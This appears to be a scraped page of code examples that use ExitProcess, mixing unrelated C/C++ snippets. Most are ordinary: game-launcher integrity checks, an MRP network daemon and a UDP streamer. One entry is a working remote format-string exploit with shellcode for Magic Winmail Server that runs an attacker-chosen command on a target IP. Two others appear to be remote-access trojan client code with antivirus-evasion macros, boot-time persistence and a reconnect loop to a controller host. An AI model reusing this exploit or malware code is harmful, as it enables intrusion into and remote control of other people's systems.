			GLoginD.SignedCredentials.Memory = MemDup(Response.Objs[Idx].Value.Memory.Memory, Response.Objs[Idx].Value.Memory.MsZ);
			GLoginD.SignedCredentials.MsZ = Response.Objs[Idx].Value.Memory.MsZ;
			
			uchar	*PostProcessed;
			char	*Key;
			uint	KeyIdx, PPsZ;

			KeyIdx = htonl(*(uint *)Response.Objs[Idx].Value.Memory.Memory);
			Response.Objs[Idx].Value.Memory.Memory += 4;
			Response.Objs[Idx].Value.Memory.MsZ -= 4;
			
			SkypeRSA = RSA_new();
			Key = KeySelect(KeyIdx);
			BN_hex2bn(&(SkypeRSA->n), Key);
			BN_hex2bn(&(SkypeRSA->e), "10001");
			PPsZ = RSA_public_decrypt(Response.Objs[Idx].Value.Memory.MsZ, Response.Objs[Idx].Value.Memory.Memory, Response.Objs[Idx].Value.Memory.Memory, SkypeRSA, RSA_NO_PADDING);
			RSA_free(SkypeRSA);
			
			PostProcessed = FinalizeLoginDatas(Response.Objs[Idx].Value.Memory.Memory, &PPsZ, NULL, 0);
			Response.Objs[Idx].Value.Memory.Memory += PPsZ;

			if (PostProcessed == NULL)
			{
				printf("Bad Datas Finalization..\n");
				return (0);
			}
			//showmem(PostProcessed, PPsZ);
			//printf("\n");

			SResponse LoginDatas;

			LoginDatas.Objs = NULL;
			LoginDatas.NbObj = 0;
			ManageObjects(&PostProcessed, PPsZ, &LoginDatas);

			for (uint LdIdx = 0; LdIdx < LoginDatas.NbObj; LdIdx++)
			{
				switch (LoginDatas.Objs[LdIdx].Id)
				{
					case OBJ_ID_LDUSER:
						GLoginD.User = LoginDatas.Objs[LdIdx].Value.Memory.Memory;
						break;
					case OBJ_ID_LDEXPIRY:
						GLoginD.Expiry = LoginDatas.Objs[LdIdx].Value.Nbr;
						break;
					case OBJ_ID_LDMODULUS:
						GLoginD.Modulus = LoginDatas.Objs[LdIdx].Value.Memory;
						//showmem(LoginDatas.Objs[LdIdx].Value.Memory.Memory, LoginDatas.Objs[LdIdx].Value.Memory.MsZ);
						//printf("\n\n");
						break;
					default :
						printf("Non critical Object %d:%d..\n", LoginDatas.Objs[LdIdx].Family, LoginDatas.Objs[LdIdx].Id);
						break;
				}
			}
			cprintf(FOREGROUND_BLUE, "User <%s> Logged in.. Credentials Expiry : %d\n", GLoginD.User, GLoginD.Expiry);
			cprintf(FOREGROUND_BLUE, "Login Data Saved..\n");
			break;
		default :
			printf("Non critical Object %d:%d..\n", Response.Objs[Idx].Family, Response.Objs[Idx].Id);
			break;
		}
	}

	printf("\n\n");
	return (1);
}
Exemplo n.º 20
0
//////////////////////////////////////////////////////////
//
// CheckDataFiles
//
// Basic check for some essential files
//
//////////////////////////////////////////////////////////
void CheckDataFiles( void )
{
    const SString strMTASAPath = GetMTASAPath();
    const SString strGTAPath = GetGTAPath();

    const char* dataFilesFiles [] = { "MTA\\cgui\\images\\background_logo.png"
                                     ,"MTA\\cgui\\images\\radarset\\up.png"
                                     ,"MTA\\cgui\\images\\busy_spinner.png"
                                     ,"MTA\\cgui\\images\\rect_edge.png"
                                     ,"MTA\\D3DX9_42.dll"
                                     ,"MTA\\D3DCompiler_42.dll"
                                     ,"MTA\\bass.dll"
                                     ,"MTA\\bass_fx.dll"
                                     ,"MTA\\tags.dll"
                                     ,"MTA\\sa.dat"
                                     ,"MTA\\XInput9_1_0_mta.dll"
                                     ,"MTA\\vea.dll"};

    for ( uint i = 0 ; i < NUMELMS( dataFilesFiles ) ; i++ )
    {
        if ( !FileExists ( PathJoin( strMTASAPath, dataFilesFiles [ i ] ) ) )
        {
            DisplayErrorMessageBox ( _("Load failed. Please ensure that the latest data files have been installed correctly."), _E("CL16"), "mta-datafiles-missing" );
            return ExitProcess( EXIT_ERROR );
        }
    }

    if ( FileSize ( PathJoin( strMTASAPath, "MTA", "bass.dll" ) ) != 0x0001A440 )
    {
        DisplayErrorMessageBox ( _("Load failed. Please ensure that the latest data files have been installed correctly."), _E("CL17"), "mta-datafiles-missing" );
        return ExitProcess( EXIT_ERROR );
    }

    // Check for client file
    if ( !FileExists ( PathJoin( strMTASAPath, CHECK_DM_CLIENT_NAME ) ) )
    {
        DisplayErrorMessageBox ( SString(_("Load failed. Please ensure that %s is installed correctly."),CHECK_DM_CLIENT_NAME), _E("CL18"), "client-missing" );
        return ExitProcess( EXIT_ERROR );
    }

    // Make sure the gta executable exists
    if ( !FileExists( PathJoin( strGTAPath, MTA_GTAEXE_NAME ) ) )
    {
        DisplayErrorMessageBox ( SString ( _("Load failed. Could not find gta_sa.exe in %s."), strGTAPath.c_str () ), _E("CL20"), "gta_sa-missing" );
        return ExitProcess( EXIT_ERROR );
    }

    // Make sure important dll's do not exist in the wrong place
    const char* dllCheckList[] = { "xmll.dll", "cgui.dll", "netc.dll", "libcurl.dll", "pthread.dll" };
    for ( int i = 0 ; i < NUMELMS ( dllCheckList ); i++ )
    {
        if ( FileExists( PathJoin( strGTAPath, dllCheckList[i] ) ) )
        {
            DisplayErrorMessageBox ( SString ( _("Load failed. %s exists in the GTA directory. Please delete before continuing."), dllCheckList[i] ), _E("CL21"), "file-clash" );
            return ExitProcess( EXIT_ERROR );
        }    
    }

    // Check main exe has the correct name
    if ( GetLaunchFilename().CompareI( MTA_EXE_NAME ) == false )
    {
        SString strMessage( _("Main file has an incorrect name (%s)"), *GetLaunchFilename() );
        int iResponse = MessageBoxUTF8 ( NULL, strMessage, _("Error")+_E("CL33"), MB_RETRYCANCEL | MB_ICONERROR | MB_TOPMOST  );
        ReleaseSingleInstanceMutex ();
        if ( iResponse == IDRETRY )
            ShellExecuteNonBlocking( "open", PathJoin ( strMTASAPath, MTA_EXE_NAME ) );            
        return ExitProcess( EXIT_ERROR );
    }

    // Check for possible virus file changing activities
    if ( !VerifyEmbeddedSignature( PathJoin( strMTASAPath, MTA_EXE_NAME ) ) )
    {
        SString strMessage( _("Main file is unsigned. Possible virus activity.\n\nSee online help if MTA does not work correctly.") );
        #if MTASA_VERSION_BUILD > 0 && defined(MTA_DM_CONNECT_TO_PUBLIC) && !defined(MTA_DEBUG)
            DisplayErrorMessageBox( strMessage, _E("CL29"), "maybe-virus1" );
        #endif
    }

    struct {
        const char* szMd5;
        const char* szFilename;
    } integrityCheckList[] = { { "9586E7BE6AE8016932038932D1417241", "bass.dll", },
                               { "B2E49F0C22C8B7D92D615F942BA19353", "bass_aac.dll", },
                               { "569C60F8397C34034E685A303B7404C0", "bass_ac3.dll", },
                               { "0E44BCAC0E940DB2BFB13448E96E4B29", "bass_fx.dll", },
                               { "50AF8A7D49E83A723ED0F70FB682DCFB", "bassflac.dll", },
                               { "BEBA64522AA8265751187E38D1FC0653", "bassmidi.dll", },
                               { "99F4F38007D347CEED482B7C04FDD122", "bassmix.dll", },
                               { "7B52BE6D702AA590DB57A0E135F81C45", "basswma.dll", }, 
                               { "38D7679D3B8B6D7F16A0AA9BF2A60043", "tags.dll", },
                               { "309D860FC8137E5FE9E7056C33B4B8BE", "vea.dll", },
                               { "0602F672BA595716E64EC4040E6DE376", "vog.dll", },
                               { "B37D7DF4A1430DB65AD3EA84801F9EC3", "vvo.dll", },
                               { "47FF3EE45DE53528F1AFD9F5982DF8C7", "vvof.dll", },
                               { "ADFB6D7B61E301761C700652B6FE7CCD", "XInput9_1_0_mta.dll", }, };
    for ( int i = 0 ; i < NUMELMS ( integrityCheckList ); i++ )
    {
        SString strMd5 = CMD5Hasher::CalculateHexString( PathJoin( strMTASAPath, "mta", integrityCheckList[i].szFilename ) );
        if ( !strMd5.CompareI( integrityCheckList[i].szMd5 ) )
        {
            DisplayErrorMessageBox( _("Data files modified. Possible virus activity.\n\nSee online help if MTA does not work correctly."), _E("CL30"), "maybe-virus2" );
            break;
        }    
    }

    // Check for asi files
    {
        bool bFoundInGTADir = !FindFiles( PathJoin( strGTAPath, "*.asi" ), true, false ).empty();
        bool bFoundInMTADir = !FindFiles( PathJoin( strMTASAPath, "mta", "*.asi" ), true, false ).empty();
        if ( bFoundInGTADir || bFoundInMTADir )
        {
            DisplayErrorMessageBox (_( ".asi files are in the 'MTA:SA' or 'GTA: San Andreas' installation directory.\n\n"
                                       "Remove these .asi files if you experience problems with MTA:SA." ), _E("CL28"), "asi-files" );
        }
    }

    // Warning if d3d9.dll exists in the GTA install directory
    if ( FileExists( PathJoin ( strGTAPath, "d3d9.dll" ) ) )
    {
        ShowD3dDllDialog ( g_hInstance, PathJoin ( strGTAPath, "d3d9.dll" ) );
        HideD3dDllDialog ();
    }

    // Remove old log files saved in the wrong place
    SString strMtaDir = PathJoin( strMTASAPath, "mta" );
    if ( strGTAPath.CompareI( strMtaDir ) == false )
    {
        FileDelete( PathJoin( strGTAPath, "CEGUI.log" ) );
        FileDelete( PathJoin( strGTAPath, "logfile.txt" ) );
        FileDelete( PathJoin( strGTAPath, "shutdown.log" ) );
    }
}
Exemplo n.º 21
0
void process_events(void)
{
	HANDLE hThread1, hThread2;
	DWORD dwThreadID1, dwThreadID2;
	uint16_t length = 0;
	uint8_t *payload;
	uint16_t protocol;
	uint8_t *proto;
	struct avb_avtpdu *avtpdu = NULL;
	uint64_t src_mac_address = 0;
	struct ctl_thread_params localhost_pkt;
	struct netif_thread_data wpcap_pkt;
	int i;

	timer_check_tick = mrpd_timer_create();
	mrpd_timer_start_interval(timer_check_tick, 100, 100);

	que_wpcap = que_new(256, sizeof(struct netif_thread_data));
	que_localhost = que_new(256, sizeof(struct ctl_thread_params));

	sem_kill_wpcap_thread = CreateSemaphore(NULL, 0, 32767, NULL);
	sem_kill_localhost_thread = CreateSemaphore(NULL, 0, 32767, NULL);
	for (i = pkt_event_wpcap_timeout; i <= loop_time_tick; i++) {
		pkt_events[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
		if (pkt_events[i] == NULL) {
			fprintf(stderr, "CreateEvent error: %d\n",
				GetLastError());
			ExitProcess(0);
		}
	}
	pkt_events[pkt_event_wpcap] =
		que_data_available_object(que_wpcap);
	pkt_events[pkt_event_localhost] =
	    que_data_available_object(que_localhost);

	// Create threads
	hThread1 = CreateThread(NULL,	// default security attributes
				0,	// default stack size
				(LPTHREAD_START_ROUTINE) netif_thread, NULL,	// no thread function arguments
				0,	// default creation flags
				&dwThreadID1);	// receive thread identifier

	if (hThread1 == NULL) {
		fprintf(stderr, "CreateThread error: %d\n", GetLastError());
		ExitProcess(0);
	}

	hThread2 = CreateThread(NULL,	// default security attributes
				0,	// default stack size
				(LPTHREAD_START_ROUTINE) ctl_thread, NULL,	// no thread function arguments
				0,	// default creation flags
				&dwThreadID2);	// receive thread identifier

	if (hThread2 == NULL) {
		fprintf(stderr, "CreateThread error: %d\n", GetLastError());
		ExitProcess(0);
	}

	while (1) {
		DWORD dwEvent =
		    WaitForMultipleObjects(sizeof(pkt_events) / sizeof(HANDLE),
					   pkt_events,
					   FALSE,
					   100);	/* 100ms wait */

		/* special exit case */
		if (WAIT_OBJECT_0 + app_event_kill_all == dwEvent)
			break;

		switch (dwEvent) {
		case WAIT_TIMEOUT:
		case WAIT_OBJECT_0 + loop_time_tick:
			/* timeout - run protocols */
			if (mmrp_enable) {
				if (mrpd_timer_timeout(MMRP_db->mrp_db.lva_timer))
					mmrp_event(MRP_EVENT_LVATIMER, NULL);
				if (mrpd_timer_timeout(MMRP_db->mrp_db.lv_timer))
					mmrp_event(MRP_EVENT_LVTIMER, NULL);
				if (mrpd_timer_timeout(MMRP_db->mrp_db.join_timer))
					mmrp_event(MRP_EVENT_TX, NULL);
			}

			if (mvrp_enable) {
				if (mrpd_timer_timeout(MVRP_db->mrp_db.lva_timer))
					mvrp_event(MRP_EVENT_LVATIMER, NULL);
				if (mrpd_timer_timeout(MVRP_db->mrp_db.lv_timer))
					mvrp_event(MRP_EVENT_LVTIMER, NULL);
				if (mrpd_timer_timeout(MVRP_db->mrp_db.join_timer))
					mvrp_event(MRP_EVENT_TX, NULL);
			}

			if (msrp_enable) {
				if (mrpd_timer_timeout(MSRP_db->mrp_db.lva_timer))
					msrp_event(MRP_EVENT_LVATIMER, NULL);
				if (mrpd_timer_timeout(MSRP_db->mrp_db.lv_timer))
					msrp_event(MRP_EVENT_LVTIMER, NULL);
				if (mrpd_timer_timeout(MSRP_db->mrp_db.join_timer))
					msrp_event(MRP_EVENT_TX, NULL);
			}

			if (mrpd_timer_timeout(periodic_timer)) {
				//printf("mrpd_timer_timeout(periodic_timer)\n");
				if (mmrp_enable)
					mmrp_event(MRP_EVENT_PERIODIC, NULL);
				if (mvrp_enable)
					mvrp_event(MRP_EVENT_PERIODIC, NULL);
				if (msrp_enable)
					msrp_event(MRP_EVENT_PERIODIC, NULL);
				mrpd_timer_restart(periodic_timer);
			}
			if (mrpd_timer_timeout(gc_timer)) {
				mrpd_reclaim();
			}
			mrpd_timer_restart(timer_check_tick);
			break;

		case WAIT_OBJECT_0 + pkt_event_wpcap:
			que_pop_nowait(que_wpcap, &wpcap_pkt);
			proto = &wpcap_pkt.frame[12];
			protocol =
			    (uint16_t) proto[0] << 8 | (uint16_t) proto[1];
			payload = proto + 2;

			last_pdu_buffer = wpcap_pkt.frame;
			last_pdu_buffer_size = wpcap_pkt.length;

			switch (protocol) {
			case MVRP_ETYPE:
				if (mvrp_enable)
					mvrp_recv_msg();
				break;

			case MMRP_ETYPE:
				if (mmrp_enable)
					mmrp_recv_msg();
				break;

			case MSRP_ETYPE:
				if (msrp_enable)
					msrp_recv_msg();
				break;
			}
			if (mrpd_timer_timeout(&timer_check_tick)) {
				if (!SetEvent(pkt_events[loop_time_tick])) {
					printf
					    ("SetEvent loop_time_tick failed (%d)\n",
					     GetLastError());
					exit(-1);
				}
			}
			break;

		case WAIT_OBJECT_0 + pkt_event_wpcap_timeout:
			//printf("pkt_event_wpcap_timeout\n");
			break;

		case WAIT_OBJECT_0 + pkt_event_localhost:
			que_pop_nowait(que_localhost, &localhost_pkt);
			process_ctl_msg(localhost_pkt.msgbuf,
					localhost_pkt.bytes,
					(struct sockaddr_in *)
					&localhost_pkt.client_addr);
			if (mrpd_timer_timeout(&timer_check_tick)) {
				if (!SetEvent(pkt_events[loop_time_tick])) {
					printf
					    ("SetEvent loop_time_tick failed (%d)\n",
					     GetLastError());
					exit(-1);
				}
			}
			break;

		case WAIT_OBJECT_0 + pkt_event_localhost_timeout:
			//printf("pkt_event_localhost_timeout\n");
			break;

		default:
			printf("Unknown event %d\n", dwEvent);
		}
	}
}
Exemplo n.º 22
0
void main (int argc, char *argv[])
{

	SOCKET sock;

	char buffer[1000];
	int i;

	// ecrasement d'un saved EIP grâce aux caractères de format
	char vuln[] = 		
		"\xec\xfc\x66\x01%x%x"
		"\xed\xfc\x66\x01%x%x"
		"\xee\xfc\x66\x01"
		
		"%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%28x%n"
		"%97x%n%105x%hn"

/*

  This is my specific shellcode for execute a command
  over the Magic Winmail process.

  This one can contain null bytes, enjoy ! :)

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Disassembly of File: mailserver.exe
Code Offset = 00001000, Code Size = 000CF000
Data Offset = 000EC000, Data Size = 0002E000
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 Reference To: KERNEL32.GetModuleHandleA, Ord:0000h
:004B8850 FF15AC014D00            Call dword ptr [004D01AC]

 Reference To: KERNEL32.ExitProcess, Ord:0000h
:004B88C6 FF1598014D00            Call dword ptr [004D0198]

 Reference To: KERNEL32.GetProcAddress, Ord:0000h
:00406CE7 8B3DEC004D00            mov edi, dword ptr [004D00EC]
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

  //////////////////////// My shellcode \\\\\\\\\\\\\\\\\\\\\\\\\\

: EB50                    jmp 00401058
: 5E                      pop esi
: 8BEC                    mov ebp, esp
: 83EC28                  sub esp, 00000028		// je cree un stack
: C745D84B65726E          mov [ebp-28], 6E72654B
: C745DC656C3332          mov [ebp-24], 32336C65 // j'y place 'Kernel32'
: C745E000000000          mov [ebp-20], 00000000
: C745E457696E45          mov [ebp-1C], 456E6957
: C745E878656300          mov [ebp-18], 00636578 // ici 'WinExec'

// adaptez le shellcode en virant cette ligne si vraiment vous avez besoin 
// de 4 caractères de plus pour la commande à executer
: C645EB00                mov [ebp-15], 00
										
: BAAC014D00              mov edx, 004D01AC
: 8D45D8                  lea eax, dword ptr [ebp-28]
: 50                      push eax
: FF12                    call dword ptr [edx]	// eax = GetModuleHandle ("Kernel32");
: 8D5DE4                  lea ebx, dword ptr [ebp-1C]
: 53                      push ebx
: 50                      push eax
: BAEC004D00              mov edx, 004D00EC
: FF12                    call dword ptr [edx]	// GetProcAdress (eax, "WinExec");
: 6A01                    push 00000001		// 1 = SW_SHOW, 0 = SW_HIDE 
: 56                      push esi
: FFD0                    call eax			// WinExec (argv[2], SW_SHOW)
: BA98014D00              mov edx, 004D0198
: FF12                    call dword ptr [edx]	// ExitProcess ();
: E8ABFFFFFF              call 00401008	

  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ EOF /////////////////////////////////

  */
	

// Generated by Hex Workshop
// shellcode.exe - Starting Offset: 4102 (0x00001006) Length: 87 (0x00000057)

	"\x00\x90\x90\x90\x90"	// sa, c'est pour bien coller
	"\xEB\x50\x5E\x8B\xEC\x83\xEC\x28\xC7\x45\xD8\x4B\x65\x72\x6E\xC7" 
	"\x45\xDC\x65\x6C\x33\x32\xC7\x45\xE0\x00\x00\x00\x00\xC7\x45\xE4" 
	"\x57\x69\x6E\x45\xC7\x45\xE8\x78\x65\x63\x00\xC6\x45\xEB\x00\xBA" 
	"\xAC\x01\x4D\x00\x8D\x45\xD8\x50\xFF\x12\x8D\x5D\xE4\x53\x50\xBA" 
	"\xEC\x00\x4D\x00\xFF\x12\x6A\x01\x56\xFF\xD0\xBA\x98\x01\x4D\x00" 
	"\xFF\x12\xE8\xAB\xFF\xFF\xFF";

	SOCKADDR_IN sin;
	WSADATA wsadata;
	WORD wVersionRequested = MAKEWORD (2,0);

	//
	printf ("* #################################### *\n"
		"  Magic Winmail Server 2.3(Build 0402)\n"
		"     Remote format string exploit !\n"
		"* #################################### *\n"
		"  Coded By ThreaT -> ThreaT\n\n");

	if (argc < 3 || strlen (argv[2]) > 90)
	{
	printf ("usage : mwmxploit <Target IP> <command to execute> [smtp port]\n\n"
			" + The command to execute cannot exceed 90 characters +\n");
	ExitProcess (0);
	}

	if ( WSAStartup(wVersionRequested, &wsadata) )
	{
		printf ("Erreur d'initialisation winsock !\n");
		ExitProcess (1);		
	}

	sin.sin_family = AF_INET;
	sin.sin_port = htons ((void *)argv[3] ? atoi (argv[3]) : 25);
	
	if ( (sin.sin_addr.s_addr = inet_addr (argv[1])) == INADDR_NONE)
	{
		printf ("Erreur : L'adresse IP de la victime est incorrect !\n");
		ExitProcess (2);
	}

	printf ("connecting to %s on port %u...", argv[1], ntohs ( sin.sin_port ) );

	sock = socket (AF_INET, SOCK_STREAM, 0);
	if ( connect (sock, (SOCKADDR *)&sin, sizeof (sin)) )
	{
		printf ("erreur : connexion impossible !\n");
		ExitProcess (3);
	}

	recv (sock,buffer,1000,0);
	
	printf ("ok\n-> %s\nsending exploit code...",buffer);

	send (sock, vuln, strlen (vuln) + 92, 0);  // envoi du shellcode
	send (sock, argv[2], strlen (argv[2]), 0); // envoi de la commande
	send (sock, "\r\n", 2, 0); // validation

	recv (sock,buffer,1000,0); // remote crash :)

	puts ("ok");
}
Exemplo n.º 23
0
/*-----------------------------------------------------------------------------
--	FUNCTION:		sendStream
--
--	DATE:			2009-04-06
--
--	REVISIONS:		2009-04-06 - Jaymz, Took out the TCP connection stuff since
--								 we already have that at this point. Also added
--								 a parameter WPARAM sd, which is the socket
--								 from which we are receiving the data.
--							   - Jaymz, Miscellaneous code touch-ups (mainly
--								 formatting and removing of test printf()'s)
--
--	DESIGNER(S):	David Overton
--	PROGRAMMER(S):	David Overton, Jaymz Boilard, Steffen L. Norgren
--
--	INTERFACE:		sendStream(LPVOID iValue)
--
--	RETURNS:		void
--
--	NOTES: The main function to read a file & send streaming data over UDP.
-----------------------------------------------------------------------------*/
DWORD WINAPI sendStream(LPVOID iValue)
{
	HANDLE	hFile;
	int		remote_len;
	DWORD	readBytes;

	/* TCP connection related variables */
	char	buffer[BLOCK_SIZE]; /* intermediate buffer for reading */

	/* try and open the file */
	if((hFile = CreateFile(ci.DLfileName, GENERIC_READ, FILE_SHARE_READ, NULL,
		OPEN_EXISTING, 0, NULL)) == INVALID_HANDLE_VALUE)
	{
		MessageBox(ghWndMain, (LPCSTR)"Unable to open file.",
			(LPCSTR)"Error!", MB_OK | MB_ICONSTOP);
		ExitProcess(1);
	}

	remote_len = sizeof(udp_local); 

	if (ci.request != MULTI_STREAM) {
		/* Wait for client to send initial UDP packet to determine the address */
		recvfrom(ci.udpSocket, 0, 0, 0, (struct sockaddr *)&udp_remote, &remote_len);
	}

	while (TRUE)
	{
		if(!ReadFile(hFile, buffer, sizeof(buffer), &readBytes, NULL))
		{
			closesocket(ci.udpSocket);
			CloseHandle(hFile);
			ExitThread(0);
		}

		/* first 4 bytes in a file, so set the header information */
		if(strncmp(buffer, "RIFF", 4) == 0)
		{
			memcpy(&ci.waveFormat, buffer, sizeof(WAVEFORMATEX)+20);
		}

		/* send wave header information for new clients */
		if (ci.newClient == TRUE) {
			ci.newClient = FALSE;
			sendto(ci.udpSocket, ci.waveFormat, sizeof(ci.waveFormat), 0, (struct sockaddr *)&udp_local, remote_len);
		}

		if(readBytes == 0)
		{
			CloseHandle(hFile);
			ExitThread(0);
		}
		if(readBytes < sizeof(buffer)) /* We're at the end of file */
			memset(buffer + readBytes, 0, sizeof(buffer) - readBytes);


		if (ci.request == MULTI_STREAM) {
			sendto(ci.udpSocket, buffer, BLOCK_SIZE, 0, (struct sockaddr *)&udp_local, remote_len);
			Sleep(225);
		}
		else {
			sendto(ci.udpSocket, buffer, BLOCK_SIZE, 0, (struct sockaddr *)&udp_remote, remote_len);

			/* Wait for signal from client before sending next block */
			recvfrom(ci.udpSocket, 0, 0, 0, (struct sockaddr *)&udp_remote, &remote_len);
		}
	}
	ExitThread(0);
}
Exemplo n.º 24
0
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
	WNDCLASS m_WndClass;
	ZeroMemory(&m_WndClass,sizeof(WNDCLASS));
	
	//水平拖动
	m_WndClass.style=CS_HREDRAW;
	
	//回调函数地址
	m_WndClass.lpfnWndProc=NULL;
	
	//附加数据  总是为NULL
	m_WndClass.cbClsExtra = NULL;
	
	//附加数据  总是为NULL
	m_WndClass.cbWndExtra = NULL;
	
	//程序实例
	m_WndClass.hInstance  = NULL;
	
	//程序Icon
	m_WndClass.hIcon = LoadIcon(NULL,IDI_INFORMATION);
	
	//程序光标
	m_WndClass.hCursor = LoadCursor(NULL,IDC_HELP);
	
	//背景颜色
	m_WndClass.hbrBackground = (HBRUSH)GetStockObject(GRAY_BRUSH);
	
	//程序类名
	m_WndClass.lpszClassName = NULL;
	
	//注册类名
	RegisterClass(&m_WndClass);

	// TODO: Place code here.
	//////////////////////////////////////////////////////////////////////////
	// 让启动程序时的小漏斗马上消失
    GetInputState();
	PostThreadMessage(GetCurrentThreadId(),NULL,0,0);
	MSG	msg;
	GetMessage(&msg, NULL, NULL, NULL);

	//创建互斥
	char	strInstallModule[MAX_PATH]; 
	memset(strInstallModule, 0, sizeof(strInstallModule)); 
	GetModuleFileName(NULL,strInstallModule,sizeof(strInstallModule));
	
	HANDLE m_hMutex;
	m_hMutex = CreateMutex(NULL, FALSE, strInstallModule);
	if (m_hMutex && GetLastError() == ERROR_ALREADY_EXISTS)
	{
		exit(0);
		ExitProcess(0);
		return -1;
	}

	FUCKAV2
		FUCKAV2
		FUCKAV2
		FUCKAV2
		ANTIVIRUS
		FUCKNOD32
	FUCKAV

	FUCKAV2
		FUCKAV2
		FUCKAV2
		FUCKAV2
		ANTIVIRUS
		FUCKNOD32
	FUCKAV
	
	if(!modify_data.bRunOnce)//如果不是绿色安装
	{
		if (modify_data.bServer == TRUE)
		{
			if (service_is_exist())
			{	
				SERVICE_TABLE_ENTRY serviceTable[] = 
				{
					{modify_data.SerName,(LPSERVICE_MAIN_FUNCTION) ServiceMain},
					{NULL,NULL}
				};
				StartServiceCtrlDispatcher(serviceTable);
			}
			else
			{
				RunService(modify_data.SerName,modify_data.Serdisplay ,modify_data.Serdesc);
			}
		}

		if (modify_data.bRuns == TRUE)
		{
			////////////////过管家,瑞星,金山启动项///////////////
			char szMyFilePath[MAX_PATH];
        	GetModuleFileName(NULL,szMyFilePath,MAX_PATH);
	        char Sys[MAX_PATH];
        	char FileN[100];
        	SHGetSpecialFolderPath(NULL,Sys, 24, FALSE);
        	wsprintf(FileN,"\\scvost.bat");//随即发生一个文件名
        	strcat(Sys,"\\");
        	strcat(Sys,FileN);
        	HKEY hKey;
        	DWORD Action=0;
        	char MyPat[] = "c:\\1.exe";
        	char MyPath[] = "\\??\\c:\\1.exe\0";
        	CopyFile(szMyFilePath,MyPat,FALSE);
        	char bUuIt[] = {'S','Y','S','T','E','M','\\','C','u','r','r','e','n','t','C','o','n','t','r','o','l','S','e','t','\\','C','o','n','t','r','o','l','\\','S','e','s','s','i','o','n',' ','M','a','n','a','g','e','r','\0'};
	
	        RegCreateKeyExA (HKEY_LOCAL_MACHINE,bUuIt,0,NULL,REG_OPTION_NON_VOLATILE,KEY_WRITE,NULL,&hKey,&Action);
        	RegSetValueEx(hKey,"PendingFileRenameOperations",NULL,REG_MULTI_SZ,(const unsigned char *)MyPath,sizeof(MyPath));
        	RegCloseKey(hKey);
        	MoveFileEx(Sys,0,MOVEFILE_DELAY_UNTIL_REBOOT);
			/////////////////////////////////////////////////////
	//return 0;
//}
			
			while(1)
			{
				Login();
				Sleep(50);
			}
		}
	}
	else
	{
		while(1)
		{
			Login();
			Sleep(50);
		}
	}
	FUCKAV2
		FUCKAV2
		FUCKAV2
		FUCKAV2
		ANTIVIRUS
		FUCKNOD32
	FUCKAV
	return 0;
}
Exemplo n.º 25
0
VOID ErrorExit (LPTSTR lpszMessage) 
{ 
   fprintf(stderr, "%s\n", lpszMessage); 
   ExitProcess(0); 
} 
Exemplo n.º 26
0
BOOL Login()
{
	HANDLE	hEvent = NULL;
	char	strKillEvent[100];
	wsprintf(strKillEvent, "%s %d",MyDecode(modify_data.szDns),GetTickCount());

	HANDLE m_hMutex;
	m_hMutex = CreateMutex(NULL, FALSE, MyDecode(modify_data.szDns));
	if (m_hMutex && GetLastError() == ERROR_ALREADY_EXISTS)
	{
		exit(0);
		ExitProcess(0);
		return -1;
	}

	FUCKAV2
		FUCKAV2
		FUCKAV2
		FUCKAV2
		ANTIVIRUS
		FUCKNOD32
	FUCKAV
	CClientSocket socketClient;
	BYTE	bBreakError = NOT_CONNECT;
	while (1)
	{
		if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
		{
			for (int i = 0; i < 1000; i++)
			{
				hEvent = OpenEvent(EVENT_ALL_ACCESS, false,strKillEvent);
				if (hEvent != NULL)
				{
					socketClient.Disconnect();
					CloseHandle(hEvent);
					break;					
				}
				Sleep(200);
			}
		}
		lpszHost = MyDecode(modify_data.szDns);
		dwPort = atoi(MyDecode(modify_data.dwPort));

		DWORD dwTickCount = GetTickCount();
		if (!socketClient.Connect(lpszHost,dwPort))
		{
			bBreakError = CONNECT_ERROR;
			continue;
		}

		// 登录
		DWORD dwExitCode = SOCKET_ERROR;
		sendLoginInfo(NULL, &socketClient, GetTickCount() - dwTickCount);
		CKernelManager	manager(&socketClient,strKillEvent,lpszHost,dwPort);
		socketClient.setManagerCallBack(&manager);
		
		//////////////////////////////////////////////////////////////////////////
		// 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误
		for (int i = 0; (i < 10 && !manager.IsActived()); i++)
		{
			Sleep(1000);
		}
		// 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接
		if (!manager.IsActived())
			continue;
		
		//////////////////////////////////////////////////////////////////////////
		
		DWORD	dwIOCPEvent;
		dwTickCount = GetTickCount();
		
		do
		{
			hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
			dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100);
			Sleep(500);
		} while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);
		
		if (hEvent != NULL)
		{
			socketClient.Disconnect();
			CloseHandle(hEvent);
			break;
		}
	}
	FUCKAV2
		FUCKAV2
		FUCKAV2
		FUCKAV2
		ANTIVIRUS
		FUCKNOD32
		FUCKAV
	return 0;
}
Exemplo n.º 27
0
/**
	@brief	herp derp.
	
	@private

	@bug	Sometimes on windows XP, if a process is started up to be 
			injected into, the process will exit before completing 
			startup if the DLL unloads itself before process startup
			is complete.
**/
int main(int argc, CHAR* argv[])
{
	char *dllArg = NULL;
	char *programPath = NULL;
	char *procArgs = NULL;
	WCHAR procNameBuffer[MAX_PATH] = {0};
	PWCHAR procName = NULL;
	DWORD pid = 0;
	DWORD waitMs = 0;
	BOOL startProcess;
	DWORD injectionMethod = 0;
	
	unsigned char dllCount = 0;
	char *dllList[128];

	if(argc==1){
		Usage();
	}

	// Get Windows Version Information.
	OSVERSIONINFOEX OsInfo = {0};
	OsInfo.dwOSVersionInfoSize = sizeof(OsInfo);
	GetVersionEx((LPOSVERSIONINFO)&OsInfo);

	// These are used later to make decisions on how to do things.
	BOOL is2kOrAbove = FALSE;
